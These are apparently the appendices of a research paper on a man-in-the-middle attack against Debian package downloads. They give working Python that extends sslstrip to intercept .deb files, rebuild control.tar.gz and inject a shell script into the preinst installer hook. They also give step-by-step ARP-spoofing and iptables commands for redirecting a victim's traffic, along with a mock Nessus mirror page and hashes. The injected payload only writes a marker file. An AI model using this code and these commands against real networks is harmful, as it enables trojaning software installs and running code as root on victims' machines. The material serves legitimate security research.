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    '''Attempts to read a legitimate .deb package, insert malicious code, then send it to the victim'''
    conn = httplib.HTTPConnection(host, port)
    conn.request(method, path, postData, headers)
    response = conn.getresponse()
    # if the response is not a HTTP 200 or the content length is explicitly 0, we'll assume we're not receiving a 
.deb file
    if response.status != httplib.OK or response.getheader('content-length') == 0:
      self.sendUnmodifiedResponse(response, '')
      conn.close()
      return
    # sanity check - make sure this is a .deb file by verifying global header
    ar_global_header = response.read(8)
    if ar_global_header != '!<arch>\n':
      self.sendUnmodifiedResponse(response, ar_global_header)
      conn.close()
      return
    # more sanity checking - the first file in a .deb archive must be "debian-binary" and must contain "2.0\n"
    debian_binary = self.readArFile(response)
    if debian_binary['data'] != '2.0\n':
      processedData = ar_global_header + debian_binary['header'] + debian_binary['data']
      self.sendUnmodifiedResponse(response, processedData)
      conn.close()
      return
    # read and inject malicious code into control.tar.gz.
    # some sanity checking couldn't hurt here, but at this point it's reasonable to assume we are looking at a 
valid .deb file
    url = 'http://%s%s' % (host, path)
    control_tar_gz = self.readArFile(response)
    control = self.readControl(control_tar_gz['data'])
    control = self.modifyControl(control, url)
    newcontrol = self.rebuildControl(control)
    # modify the ar file header to reflect the increased size of control.tar.gz
    orig_len = int(control_tar_gz['header'][48:58])
    new_len = len(newcontrol)
    # fix padding if necessary
    # the data section of an ar file is 2 byte aligned. '\n' is used as a filler when necessary
    # - if the original control.tar.gz didn't have padding, and the new control.tar.gz needs it, add it in
    # - if the original control.tar.gz did have padding and the new control.tar.gz doesn't need it, remove it
    # - otherwise (both do or don't need padding), do nothing
    if orig_len % 2 == 0 and new_len % 2 == 1:
      orig_padding = ''
      padding = '\n'
    elif orig_len % 2 == 1 and new_len % 2 == 0:
      response.read(1)
      orig_padding = '\n'
      padding = ''
    else:
      orig_padding = ''
      padding = ''
    
    additional_bytes = new_len - orig_len + len(padding)
    newcontrol_header =\
      control_tar_gz['header'][0:48] +\
      string.ljust(str(new_len), 10) +\
      control_tar_gz['header'][58:]
    # send the modified data to the victim, along with the rest of the unmodified data
    self.updateAllHashes(ar_global_header + debian_binary['header'] + debian_binary['data'])
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    self.updateLegitHashes(control_tar_gz['header'] + control_tar_gz['data'] + orig_padding)
    self.updateTrojanHashes(newcontrol_header + newcontrol + padding)
    processedData =\
      ar_global_header +\
      debian_binary['header'] + debian_binary['data'] +\
      newcontrol_header + newcontrol + padding
    self.sendMaliciousResponse(response, processedData, additional_bytes)
    conn.close()
  def readControl(self, controlData):
    '''Extracts all files from the control.tar.gz file being modified, returning them as
    a dictionary where key = TarInfo, value is file data'''
    # untar and read the original control.tar.gz data
    dataObj = StringIO(controlData)
    tar = tarfile.open(mode="r:gz", fileobj=dataObj)
    control_files = {} # key = TarInfo, value = file contents
    for member in tar.getmembers():
      archived_file = tar.extractfile(member.name)
      if archived_file is not None:  # regular file
        file_data = archived_file.read()
        archived_file.close()
      else:  # directory
        file_data = None
      control_files[member] = file_data
    tar.close()
    dataObj.close()
    return control_files
  
  def rebuildControl(self, controlDict):
    '''Creates a new control.tar.gz in memory.  Takes a dictionary where key = TarInfo and
    value = file data'''
    evilcontrol = StringIO()
    tar = tarfile.open(mode="w:gz", fileobj=evilcontrol)
    for member in controlDict:
      data = controlDict[member]
      if data is not None:
        tar.addfile(member, fileobj=StringIO(controlDict[member]))
      else:
        tar.addfile(member)
    tar.close()
    evilcontrol_data = evilcontrol.getvalue()
    evilcontrol.close()
    return evilcontrol_data
  def modifyControl(self, controlDict, url):
    '''Looks for the file "preinst" in control.tar.gz, injecting malicious code into it.'''
    preinst_found = False
    modified_control = {}
    filename = 'malicious_code.out'
    now = time.time()
    malicious_shell_script = \
'''#!/bin/sh
echo "Malicious code was injected into a debian package while it was being downloaded." > /tmp/%s.%d
echo "This code was executed when the package was installed." >> /tmp/%s.%d
echo "The package was downloaded from: %s " >> /tmp/%s.%d
echo "Malicious code was executed at: `date`" >> /tmp/%s.%d
echo "It was executed as: `id`" >> /tmp/%s.%d
''' % (filename, now, filename, now, url, filename, now, filename, now, filename, now)
    # go through all files in control.tar.gz, looking for preinst
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    for member, file_data in controlDict.iteritems():
      # inject malicious shell script into the preinst file.
      if member.name == './preinst' or member.name ==  'preinst':
        file_data = malicious_shell_script + file_data
        member.size = len(file_data)
        preinst_found = True
      modified_control[member] = file_data
    # the preinst file isn't guaranteed to exist. if it's not in control.tar.gz, create it
    if not preinst_found:
      member = TarInfo('./preinst')
      # TODO: should probably assign non-default values to other TarInfo member data (e.g., timestamp)
      member.size = len(malicious_shell_script)
      modified_control[member] = malicious_shell_script
    return modified_control
28
Appendix B (running the tool)
The tool was run according to the instructions for sslstrip:
1) Flip your machine into forwarding mode (as root):
echo "1" > /proc/sys/net/ipv4/ip_forward
2) Setup iptables to intercept HTTP requests (as root):
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT –to-port 10000
3) Run sslstrip:
python sslstrip.py
4) Run arpspoof to redirect traffic to your machine (as root):
 arpspoof -i eth0 -t Victim-IP-address Website-IP-Address
For step 4, normally the IP of the default gateway would be given instead of the IP of Website.  
This would allow Attacker to inject malicious code into any .deb package that Victim attempts 
to download from outside of its own network.  In other words, the attacker could effectively 
impersonate any web server that Victim interacts with.  But in this particular case where all 
three hosts are on the same subnet (i.e., nothing leaves the network, so impersonating the 
gateway has no effect), the attack only works when the attacker impersonates the web server.
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Appendix C (web server documents)
download.html:
<html>
<title>
Nessus download mirror
</title>
<h1>Nessus 5.2 download mirror</h1>
<a href="Nessus-5.2.0-ubuntu910_i386.deb">Ubuntu 9.10 / Ubuntu 10.04 (32 bits)</a></br>
<a href="Nessus-5.2.0-ubuntu910_amd64.deb">Ubuntu 9.10 / Ubuntu 10.04 (64 bits)</a></br>
<p>
<a href="hashes.html">Hashes (integrity checking)</a>
</p>
</html>
hashes.html:
<html>
MD5 hashes:</br>
<pre>
7692ce4c8e7596cbf0744b961fe679fc  Nessus-5.2.0-ubuntu910_amd64.deb
51fe0a9cc4ac79275587c8b55b37dfed  Nessus-5.2.0-ubuntu910_i386.deb
</pre>
SHA1 hashes:</br>
<pre>
688e12b05d29ec9d06683f39a0e3c54043d81fbc  Nessus-5.2.0-ubuntu910_amd64.deb
4e6eb4cfbec377459f6ee9685c9d038800048b38  Nessus-5.2.0-ubuntu910_i386.deb
</pre>
</html>
The .deb packages linked to in download.html were downloaded from http://www.nessus.org/ 
on May 4, 2013 and hosted locally.
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